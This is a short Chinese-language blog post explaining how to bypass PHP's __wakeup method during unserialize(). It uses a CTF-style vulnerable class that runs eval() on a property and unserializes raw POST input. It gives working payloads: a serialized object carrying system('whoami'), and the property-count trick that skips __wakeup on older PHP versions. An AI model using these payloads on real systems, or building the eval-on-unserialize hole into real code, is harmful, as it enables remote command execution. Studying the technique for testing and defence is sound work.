unserialize绕过__wakeup

Posted 2021-03-20 zpchcbd

0x01 unserialize 和 serialize的注意点：

__construct()：当对象创建（new）时会自动调用。但在 unserialize() 时是不会自动调用的。（构造函数）
__destruct()：当对象被销毁时会自动调用。（析构函数）
__wakeup()：unserialize() 时会自动调用。

0x02 试题：

<?php
class convent{
    var $warn = "No hacker.";
    function __destruct(){
        eval($this->warn);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

post请求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";}，会发现是空白，说明命令并没有执行

语句改为这样试试看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";}，发现命令执行成功

这里也说明了__wakeup()：unserialize() 时会自动调用

我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过

0x03 总结：

绕过的条件：反序列化中object的个数和之前的个数不等

影响版本： PHP5 < 5.6.25， PHP7 < 7.0.10